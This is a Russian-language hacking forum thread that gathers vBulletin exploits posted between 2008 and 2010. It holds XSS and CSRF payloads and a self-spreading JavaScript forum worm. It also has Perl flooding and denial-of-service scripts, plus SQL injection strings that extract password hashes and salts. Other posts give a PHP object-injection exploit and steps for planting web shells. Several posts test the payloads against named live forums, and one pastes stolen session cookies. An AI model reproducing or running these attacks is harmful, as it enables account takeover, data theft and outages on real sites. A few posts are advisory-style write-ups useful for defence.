PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

http://localhost/vB3/modcp/index.php?redirect=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

Elekt
12.07.2008, 13:17
XSS in admin logs - vBulletin 3.7.2 and lower, vBulletin 3.6.10 PL2 and lower

http://securityvulns.ru/Udocument137.html

язвимость существует из-за недостаточной обработки параметров "PHP_SELF" и "do" при запросе несуществующей страницы.

Exploit:

1) Оставляем в логах булки нашу хсс, используя данный эксплоит:
<html>
<body>
<img src="http://localhost/vB/upload/admincp/faq.php/0?do=<script>/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/1?do=*/a%3D'document.wri'/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.
php/2?do=*/b%3D'te(%22<script
'/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/3?do=*/c%3D'src=http://'/*"
/>
<!--edit to match your data -->
<img src="http://localhost/vB/upload/admincp/faq.
php/4?do=*/d%3D'localhost/'/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.
php/5?do=*/e%3D''/*" />
<img src="http://localhost/vB/upload/admincp/faq.php/6?do=*/f%3D't.
js></scrip'/*"
/>
<!-- end edit -->
<img src="http://localhost/vB/upload/admincp/faq.
php/7?do=*/g%3D't>%22)'/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/8?do=*/h%3Da%2Bb%2Bc%2Bd%2Be%2Bf%2Bg/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.
php/9?do=*/eval(h)/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/a0?do=*/</script>" />
</body>
</html>

2) Затем отправьте админа по ссылке:
/adminlog.php?do=view&script=&u=0&pp=15&orderby=script&page=1


Ограничения:
PHP_SELF - 50 characters max and no slashes
_REQUEST['do'] is limited to 20 characters

Также сообщается, что злоумышленник может внедрить и выполнить произвольный PHP код на системе с привилегиями Web сервера.

Fugitif
13.07.2008, 21:00
This Box continue the 3 vbulletin exploits, under it you can use the vbulletin install path exploit, the other two exploits can be only watched.

Code can be found here:

http://archive.cert.uni-stuttgart.de/bugtraq/2006/10/msg00243.html

Fugitif
13.07.2008, 21:04
################################################## ##########
## Author: M4k3 ##
## Script-Version: 1.0.2b ##
## Script-Name: vb_tool.php ##
## Copyright: pldsecurity.de / .com /pldsoft.com ##
## ##
## Comment: Next Version coming soon, check ##
## pldsecurity.com for Updates ##
################################################## ##########

Download:

http://rapidshare.com/files/130741356/Vbulletin_Password_Brute_Force.rar

Elekt
18.07.2008, 02:30
vBulletin PhotoPost vBGallery v2.x Remote File Upload

http://milw0rm.com/exploits/6082

Некорректная проверка расширения загружаемого файла позволяет залить вебшелл.

Nelzone
06.08.2008, 22:19
Маленьки баг у хаке Ajax Reg суд в что при установленом этом хаком при регастраци можно выводить html тэги без слэша (/)....и ешо в плагине найден пассивный хсс..

1.Любой версия Vbulletin
2.Ajax Reg v.3.06 http://xaknets.h18.ru/AjaxReg.rar
3.Примые Руки

Вывод
1.Пишем в поля логина при регах <b>BAG тоест получайем это жирный шрифт.
_http://xaknets.h18.ru/images/1.bmp

2.Тепер как обычно курсив <i>BaG получайем это.
_http://xaknets.h18.ru/images/2.bmp
3.Черкныти <u>BaG
_http://xaknets.h18.ru/images/3.bmp
4.Тепер самы Главное) ВЫводим вот это

<font size="7" color="#008000"><b> <marquee bgcolor="#808080">BAGNUTI</marquee></b></font>

Получайем вот это))
_http://xaknets.h18.ru/images/4.bmp

вот и все

XSS УЯЗВИМОСТЬ
http://indimoviez.com/forums/ajax.php?do=CheckUsername&param="><script>alert("ANTICHAT")</script>

~!DoK_tOR!~
11.08.2008, 02:34
#!"c:\perl\bin\perl.exe"
use Socket;
if (@ARGV < 2) { &usage; }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<99999999999999999999999999999999999999999999999999 99999999999999999999; $i++)
{
$user="h4x0r".$rand.$i;
$data = "s=&do=process&query=$user&titleonly=0&starteronly=0&exactname=1&replyless=0&replylimit=3&searchdate=1&beforeafter=before&sortby=title&order=descending&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";
$len = length $data;
$foo = "POST ".$dir."search.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "|" ;

}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";
print "\~rippers~ team\n";
print "\twww.~rippers~.org\n\n";




exit();
};

Mo4x
16.08.2008, 17:33
vBulletin sql inject Downloads Mod
site.com/fileinfo.php?id=-1674'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,concat(username,0x3a,password,0x3a,salt ),19,20,21,22,23,24,25,26+from+user/*
found by kobo

exit
20.08.2008, 00:27
################################################## #############
Autor: NBBN
Founded: 5, January 2008
vBulletin Version: 3.6.8 Patch Level x and possible lower
Type: XSRF/XSS
Risk: Medium
################################################## #############

##Explanation(english)##

My english is bad, but I try :-) . vBulletin 3.6.8 is XSRF vulnurable.
Administrators can use html in there own usertitle.
An attacker can update the profile of an administrator by sending a link to a
site with a code like this:


<html>
<head></head>
<body onLoad=javascript:document.form.submit()>

<form action="http://domain.tld/[path]/vBulletin/profile.php?do=updateprofile"
method="POST" name="form">

<input type="hidden" name="s" value="">
<input type="hidden" name="do" value="updateprofile">
<input type="hidden" name="customtext" value="###########XSS CODE#########">
<!-- Attacker's XSS Code -->
<input type="hidden" name="month" value="-1">
<input type="hidden" name="day" value="-1">
<input type="hidden" name="year" value="">
<input type="hidden" name="oldbirthday" value="">
<input type="hidden" name="showbirthday" value="2">
<input type="hidden" name="homepage" value="">
<input type="hidden" name="icq" value="">
<input type="hidden" name="aim" value="">
<input type="hidden" name="msn" value="">
<input type="hidden" name="yahoo" value="">
<input type="hidden" name="skype" value="">
</form>
</body>
</html>
If an attacker send a link in a pm for example, to the admin with a site
like the example code, the admin's usertitle updating and have a the code of
the attacker.The code executing if the admin have a post done in a thread
etc. An attacker can use this to steal the cookie of all user's who are
reading the thread.


##Explanation(Deutsch/German)##:

In vBulletin 3.6.8 gibt es eine XSRF Lücke, die dazu benutzt werden kann, um
XSS Code auszuführen. Admins können in ihren eigenen Benutzerrang HTML Code
verwenden. Das kann ein Angreifer ausnutzen um beliebigen html/javascript
code auszuführen, wenn er den oben stehenden code in eine Seite packt und
dann dem Admin eine Private Nachricht sendet, mit einem Link zu einer Seite
mit dem obigen HTML-Code. Somit ist es dem Angreifer möglich, alle Cookies
von den Benutzern zu klauen, die gerade einen Thread lesen,in welchem ein
Administrator gepostet hat.

Elekt
25.08.2008, 00:23
Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4

_http://securityvulns.ru/Udocument391.html

Активка в всплывающем уведомлении о новом входящем ПМ.

"Show New Private Message Notification Pop-up" у юзера должно быть включено.

В теме ПМ сообщения:
--></script><script>alert(/xss/)</script><!--

Fugitif
04.09.2008, 20:04
####################################### Vbulletin Plugin ChatBox Xss Vulnerability #

Discovered By Alemin_Krali# al3m@bsdmail.org # www.al3m.blogspot.com
# Greetz : BeyazKurt,Kerem125,Cr@zy_King,Ercu_145,Abo Mohammed (Net Devil)# High Risk
Vulnerability! Xss Working!######################################note :You login site and xss try.

Ex:
http://www.localhost/misc.php?do=ccarc&cbt=xss

Example Site:
http://www.megaturks.net/forum/misc.php?do=ccarc&cbt=xss

and cookie

XSS acigi bulunan site=> www.megaturks.net — 16.08.2008 22:01 de kayit edilmistir. IP Adresi:
78.163.55.84 (whois)Cookies: bblastvisit=1218911541; bblastactivity=0;
bbforum_view=fcef3869fbbf346863082895ed158bd5de670 0a1a-2-{i-170_i-1218911557_i-
158_i-1218911699_};bbpassword:
7750c66b19631528799b516d65de5ef1;bbuserid=9524;bbt hread_lastview=f0d6496e44c2b0af
6b488fb24676aca245e8e60aa-1-{i-11619_i-1218911714_}

this big lammer center:)
a bugs life!
###########################################

Source:

http://securityvulns.com/Udocument371.html

faza02
21.11.2008, 15:40
/* -----------------------------
* Author = Mx
* Title = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
* Software = vBulletin
* Addon = Visitor Messages
* Version = 3.7.3
* Attack = XSS/XSRF

- Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
+ with the visitor messages addon (a clone of a social network wall/comment area).
- When posting XSS, the data is run through htmlentities(); before being displayed
+ to the general public/forum members. However, when posting a new message,
- a new notification is sent to the commentee. The commenter posts a XSS vector such as
+ <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php
- under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
+ and I have included an example worm that makes the user post a new thread with your own
- specified subject and message.

* Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject
* of the attack method.
* ----------------------------- */

function getNewHttpObject() {
var objType = false;
try {
objType = new ActiveXObject('Msxml2.XMLHTTP');
} catch(e) {
try {
objType = new ActiveXObject('Microsoft.XMLHTTP');
} catch(e) {
objType = new XMLHttpRequest();
}
}
return objType;
}

function getAXAH(url){

var theHttpRequest = getNewHttpObject();
theHttpRequest.onreadystatechange = function() {processAXAH();};
theHttpRequest.open("GET", url);
theHttpRequest.send(false);

function processAXAH(){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {

var str = theHttpRequest.responseText;
var secloc = str.indexOf('var SECURITYTOKEN = "');
var sectok = str.substring(21+secloc,secloc+51+21);

var posloc = str.indexOf('posthash" value="');
var postok = str.substring(17+posloc,posloc+32+17);

var subject = 'subject text';
var message = 'message text';

postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&f=5', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4');

}
}
}
}








function postAXAH(url, params) {
var theHttpRequest = getNewHttpObject();

theHttpRequest.onreadystatechange = function() {processAXAHr(elementContainer);};
theHttpRequest.open("POST", url);
theHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=iso-8859-2');
theHttpRequest.send(params);

function processAXAHr(elementContainer){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {

}
}
}
}


getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=5');
document.write('<iframe src="http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">');

# milw0rm.com [2008-11-20]
http://milw0rm.com/exploits/7174

x3r0x
24.11.2008, 21:57
Author: Janek Vind "waraxe"
Date: 17. November 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-69.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

vBulletin (abbreviated as vB) is a commercial Internet forum software produced
by Jelsoft Enterprises. It is written in PHP using a MySQL database server.
vBulletin is a professional, affordable community forum solution. Thousands of
clients, including many industry leading blue chip companies, have chosen
vBulletin - It's the ideal choice for any size of community.

Web: http://www.vbulletin.com/


List of found vulnerabilities
================================================== =============================

1. Sql Injection in "admincp/verify.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Impact: low
Preconditions: attacker must have admin account with Human Verification Manager
administer privileges


[---------- source code snippet start ----------]
if ($_POST['do'] == 'updateanswer')
{
$vbulletin->input->clean_array_gpc('p', array(
'answer' => TYPE_STR,
));
...
$db->query_write("
UPDATE " . TABLE_PREFIX . "hvanswer
SET answer = '" . $vbulletin->GPC['answer'] . "'
WHERE answerid = " . $vbulletin->GPC['answerid']
);
[----------- source code snippet end -----------]

It appears, that user submitted parameter "answer" is not properly sanitized
before using in sql query. As result sql injection is possible. Test will
induce sql error message:

Invalid SQL:
UPDATE vb_hvanswer
SET answer = 'war'axe'
WHERE answerid = 1;


2. Sql Injection in "admincp/attachmentpermission.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~

Impact: low
Preconditions: attacker must have admin account with Attachment Permissions
Manager administer privileges

As in previous case, user submitted parameter, this time it's "extension", is
used in sql query without proper snaitization. This results sql injection
vulnerability. For test log in as admin with needed privileges and then issue
GET request (using proper URI instead if example):

http://localhost/vbulletin374/admincp/attachmentpermission.php?do=edit&extension=war'axe

This results with error message from vBulletin:

Database error in vBulletin 3.7.4:
Invalid SQL:

SELECT size, width, height
FROM attachmenttype
WHERE extension = 'war'axe';


3. Sql Injection in "admincp/image.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~

Impact: low
Preconditions: attacker must have admin account with Avatars administer privileges

[---------- source code snippet start ----------]
if ($_POST['do'] == 'updatepermissions')
{
$vbulletin->input->clean_array_gpc('p', array(
'iperm' => TYPE_ARRAY,
'imagecategoryid' => TYPE_INT
));
...
foreach($vbulletin->GPC['iperm'] AS $usergroupid => $canuse)
{
if ($canuse == 0)
{
$db->query_write("
INSERT INTO " . TABLE_PREFIX . "imagecategorypermission
(
imagecategoryid,
usergroupid
)
VALUES
(
" . $vbulletin->GPC['imagecategoryid'] . ",
$usergroupid
)
[----------- source code snippet end -----------]

User-submitted array "iperm" is used in sql query without proper sanitization.
This results in sql injection. Testing ends with error message:

MySQL Error : Unknown column 'waraxe' in 'field list'


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Php shell (work in progress): http://phpaxe.com/
---------------------------------- [ EOF ] ---------------------------------
(C)

mailbrush
14.12.2008, 12:14
HTML & XSS Code Execution
Выполнение произвольного HTML и XSS кода.
Должен быть установлен файл adminwarn.php, путь и права доступа к нему.
1. Заходим на http://site.com/forum/adminwarn.php?do=addstart&id=123456
Где 123456 - ID сообщения, где будет исполнятся код.
Текст предупреждения:
<script>alert('mailbrush H@CK3R')</script>
Потом заходим в тему, где есть сообщения, на ID которого мы ставили предупреждение, и видим алерт. Также можно вписать в Текст предупреждения, любой HTML код.

© mailbrush

mailbrush
21.01.2009, 22:15
HTML & XSS Code Execution x2

Что необходимо?
а) Доступ в админку
б) Прямые руки, соображение, минимальное знание инета и хтмл.


Как работает?
Уязвимость заключается в том, что поле "Заголовок" не фильтруется.


Начинаем
Заходим: Админка - Поля профиля участника - Добавить поле в профиле пользователя. (либо просто http://site.com/admincp/profilefield.php?do=add). Там выбираем: Тип поля профиля - Текстовое поле одной строчкой. Кликаем Далее. В поле заголовок вводим: <script>alert('mailbrush H@CK3R)</script>Кликаем Сохранить. После этого заходим:

а) Админка - Поля профиля участника - Управление полями профиля пользователя. (либо просто http://site.com/admincp/profilefield.php?do=modifycats) Потом выбираем наш Редактировать около нашего <script>alert('mailbrush H@CK3R)</script> (либо просто http://site.com/admincp/profilefield.php?do=edit&profilefieldid=xx, где xx - уникальный ИД, который присвоился полю после добавления), и вуаля - у нас алерт.
b) Панель Управления - Личные Данные (либо просто http://site.com/profile.php?do=editprofile), и вуаля - у нас алерт.

© mailbrush

Flame of Soul
03.05.2009, 15:55
Из серии давно забыли:

vBulletin <= 3.0.8 Accessible Database Backup Searcher (http://milw0rm.com/exploits/1189)

exploits last.php (http://milw0rm.com/exploits/631)
Файл 'last.php' является модулем стороннего разработчика. Стандартный дистрибутив приложения неуязвим.

ph1l1ster
17.06.2009, 21:47
vBulletin® Version 3.8.2 Denial of Service Exploit

#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
################################################## ######################
# Modules #
################################################## ######################
use IO::SOCKET; # Object interface #
################################################## ######################
if (@ARGV<1){
print"
################################################## ######################
## _ _ _ _ ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_ ##
##| _| -_| .'| |___| | | _| -_| _| | -_| _| ##
##|_| |___|__,|_|_|_| |_|_|_|_| |___|_| |_|_|___|_| ##
## ##
################################################## ######################
################################################## ######################
## ## ##
##->vBulletin® Version 3.8.2<- ## ##
## ## ##
##Gebe diese Daten an ## ##
##1.Ziel ## www.Ziel.com ##
##2.Board ## vbulletin ##
##3.Verwundbarkeit ## forumdisplay.php?f= ##
##4.Zeit des vorganges ## 9999999999999999 ##
##5.Port ## 80 ##
################################################## ######################
\a";}
$block = "
################################################## ######################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
print"$block\n";
print q(Ziel->);
chomp($ziel =<STDIN>);
if ($ziel eq""){
die "$fehler\a\n";}
print"$block\n";
print"$block\n";
print q(Path->);
chomp($path =<STDIN>);
if ($path eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print "Verwundbarkeit\n";
print"forumdisplay.php?f=\n";
print"->"n;
chomp($vul =<STDIN>);
if ($vul eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Time->);
chomp($flood =<STDIN>);
if ($flood eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Port->);
chomp($port =<STDIN>);
if ($port eq ""){
die "$fehler \n";}
print"$block\n";
print q(Send "start"->);
chomp($start =<STDIN>);
if ($start eq "") {
die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print " Kontroliere Ziel : $ziel\n";
print " Kontroliere Board : $path\n";
print " Kontroliere Port : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
PeerAddr => "$ziel",
PeerPort => "$port",
Proto => "tcp",
);

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}

[underwater]
06.07.2009, 21:30
Заливаем шелл[любая версия]


Плагины и Продукты -> Добавить новый плагин -> Во вкладке "Plugin PHP Code" пишем:
$target_path = "images/avatars"; //ваша директория, главное что бы чмод 777 стоял

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['uploadedfile']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file";
}

Устанавливаем плагин как активный, сохраняемся, и видим ошибку "No input File Specified". Все нормально.

Далее нам нужно место для загрузки:
<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>

Вставляем везде где разрешен хтмл, или редактируем шаблон и загружаем наш шелл)

ZARO
14.10.2009, 16:06
Баг пашет везде где установлен хак с мнениями, он заключен в редактированием post запроса. Пример - http://www.doneckforum.com/opinion.php. Что бы заюзать баг, нужно врубить tamper data, включить перехватку данных, затем нажать на форуме кнопку записать и затем вмешаться в запрос. Поле value отвечает за оценку которую Вы ставите, затем вводите туда любое число и жмете ок, опа мнение засчиталось! Этоже поле вообще не фильтруется, и там можно провести инъекцию типа (if(substring(@@version,1,1)=5,777,666))
Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).. баг нашел лично сам, жду спасибок.

mailbrush
14.10.2009, 20:29
Blind - SQL Injection
Opinion System <= 1.4.3

Тип: SQL - Инъекция
Автор: mailbrush
Мод (хак): Opinion System <= 1.4.3
О моде: http://www.vbsupport.org/forum/showthread.php?p=272151
Описание: Уязвимость заключается в отсутствии фильтрации входного параметра "value" в файле opinion.php и позволяет удалённому пользователю внедрить SQL - команды в запрос к базе данных.
Уязвимый код:
opinion.php
$value = $_POST[value];
...
//пишем мнение в базу
$vbulletin->db->query_write("
INSERT INTO " . TABLE_PREFIX . "opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory".$modyfied1.")
VALUES ($opinionid, $fromuserid, $touserid, $value, $dateline, '".$vbulletin->db->escape_string($comment)."', $autofill, $history, $forcehistory".$modyfied2.")
");

Эксплуатация: Для эксплуатации уязвимости необходимо следующее:

Форум vBulletin.
Установленный мод Opinion System <= 1.4.3.
Зарегистрированный аккаунт на форуме.

Отправляем запрос:
POST /[path]/opinion.php HTTP/1.1
Host: [host]
Cookie: [cookie]
Connection: Keep-Alive
Content-Length: [content-length]
Content-Type: application/x-www-form-urlencoded

do=postvote&securitytoken=[token]&touserid=[touserid]&fromuserid=[fromuserid]&uop=0&username=[username]&comment=[comment]&value=[SQL]

[path] - путь к корню форума.
[host] - хост.
[cookie] - куки.
[content-length] - длина POST-запроса.
[token] - securitytoken (не во всех форумах надо указывать).
[touserid] - ID пользователя, которому ставим оценку.
[fromuserid] - ваш ID.
[username] - имя пользователя, которому ставим оценку.
[comment] - комментарий к оценке.
[SQL] - SQL - запрос.
В базу данных пойдет запрос вида
INSERT INTO prefix_opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory) VALUES ([DATA], [DATA], [DATA], [SQL], [DATA], [DATA], [DATA], [DATA], [DATA])
Соответственно вместо [SQL] можно подставить запрос вида
(if(substring(@@version,1,1)=5,777,666))
Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).
Дорк: vbulletin inurl:opinion.php

[Raz0r]
04.12.2009, 00:00
VBulletin nulled <= 3.8.1 Arbitrary Function Execution

includes/class_core.php@3124:

class vB_Shutdown
{
/* ... */
function __destruct()
{
if (!empty($this->shutdown))
{
foreach ($this->shutdown AS $key => $funcname)
{
$funcname();
unset($this->shutdown[$key]);
}
}
}
}

forumdisplay.php@165:

if ($vbulletin->GPC['postvars'] != '')
{
if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false)
{
$temp = unserialize($check);
/* ... */
}
}

includes/functions.php@2211:

function verify_client_string($string, $extra_entropy = '')
{
/* ... */
$firstpart = substr($string, 0, 40);
$return = substr($string, 40);
$decode = false;
/* ... */

if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
{
return ($decode ? base64_decode($return) : $return);
}

return false;
}

В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения.

Эксплоит для выполнения phpinfo():
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO :11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}

Если непонятно как это работает, прошу сюда:
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/

Root-access
04.12.2009, 00:23
']VBulletin nulled <= 3.8.1 Arbitrary Function Execution

includes/class_core.php@3124:

class vB_Shutdown
{
/* ... */
function __destruct()
{
if (!empty($this->shutdown))
{
foreach ($this->shutdown AS $key => $funcname)
{
$funcname();
unset($this->shutdown[$key]);
}
}
}
}

forumdisplay.php@165:

if ($vbulletin->GPC['postvars'] != '')
{
if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false)
{
$temp = unserialize($check);
/* ... */
}
}

includes/functions.php@2211:

function verify_client_string($string, $extra_entropy = '')
{
/* ... */
$firstpart = substr($string, 0, 40);
$return = substr($string, 40);
$decode = false;
/* ... */

if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
{
return ($decode ? base64_decode($return) : $return);
}

return false;
}

В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения.

Эксплоит для выполнения phpinfo():
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO :11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}

Если непонятно как это работает, прошу сюда:
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/


Потестил немного - на двух форумах фильтрации нет, но почему-то phpinfo() не отображается.
Получаю лишь раскрытие путей.
Вот пример с хеки))
http://forum.xeka.ru/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO :11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i :0;s:7:%22phpinfo%22;}}
Имеем:

Fatal error: Cannot use object of type vB_Shutdown as array in /home/xek/domains/xeka.ru/public_html/forum/forumdisplay.php on line 169




З.Ы.
Вот ещё мегаприватфорум:
http://boff.ws/forum/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO :11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i :0;s:7:%22phpinfo%22;}}
phpinfo() опять-таки не выполнилась, вот что пишет:
1||1259872978||||||||Error Opening Logfile.

[Raz0r]
04.12.2009, 12:06
В первом примере наверно стоит suhosin patch, который не допускает выполнение деструктора после Fatal Error. Насчет второго, ошибка вообще небулковская

blackybr
30.12.2009, 12:32
Root-access для удачной эксплуатации "плоент" надо немного изменить

Root-access
30.12.2009, 19:08
Root-access для удачной эксплуатации "плоент" надо немного изменить


Да я уже понял, что там ошибка, только пока её не исправил.
Структура данных там такая:
vB_Shutdown Object ( [shutdown] => Array ( [0] => phpinfo ) )

Надо её исправить...

budden
31.12.2009, 19:00
Пытался залить шелл по инструкции:
Плагины и Продукты -> Добавить новый плагин -> Во вкладке "Plugin PHP Code" пишем:system($_GET["cmd"]);
Однако при попытке захода:

Content Encoding Error

The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.


* Please contact the website owners to inform them of this problem.

В чем причина и как обойти?

.:[melkiy]:.
01.01.2010, 00:48
budden, попробую вписать eval($_GET[cmd]), дальше site.ru/forum/faq.php?cmd=phpinfo(); или сразу весь код шелла запихнуть, дальше site.ru/forum/faq.php смотри что вышло

P.S не в ту тему написал

Xcontrol212
05.01.2010, 18:45
Раскрытие путей

vBulletin® Version 3.8.4

localhost/vb/calendar.php?do[]=[]add&[]type=[]recur&c=[]%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E

Warning: trim() expects parameter 1 to be string, array given in C:\xampp\htdocs\vb\includes\class_core.php on line 1651

Уязвимый код:

function xss_clean($var)
{
static
$preg_find = array('#^javascript#i', '#^vbscript#i'),
$preg_replace = array('java script', 'vb script');

return preg_replace($preg_find, $preg_replace, htmlspecialchars(trim($var)));
}

UPD

http://localhost/vb/forumdisplay.php?do[]

Unable to add cookies, header already sent.
File: C:\xampp\htdocs\vb\includes\class_core.php
Line: 3277
Warning: trim() expects parameter 1 to be string, array given in C:\xampp\htdocs\vb\includes\class_core.php on line 1651

Уязвимый код:

foreach (array('_GET', '_POST') AS $arrayname)
{
if (isset($GLOBALS["$arrayname"]['do']))
{
$GLOBALS["$arrayname"]['do'] = trim($GLOBALS["$arrayname"]['do']);
}

$this->convert_shortvars($GLOBALS["$arrayname"]);
}

Все GET и POST данные с параметром будет обрабатываться функцией trim,а если сделать их массивом,возникает ошибка.

(C)Xcontrol212

jecka3000
07.02.2010, 22:19
Vbulletin 4.0.1 Remote SQL Injection

п.с. хз пашет или нет...

#!/usr/bin/perl

use IO::Socket;


print q{
################################################## #####################
# vBulletin™ Version 4.0.1 Remote SQL Injection Exploit #
# By indoushka #
# www.iq-ty.com/vb #
# Souk Naamane (00213771818860) #
# Algeria Hackerz (indoushka@hotmail.com) #
# Dork: Powered by vBulletin™ Version 4.0.1 #
################################################## #####################
};

if (!$ARGV[2]) {

print q{
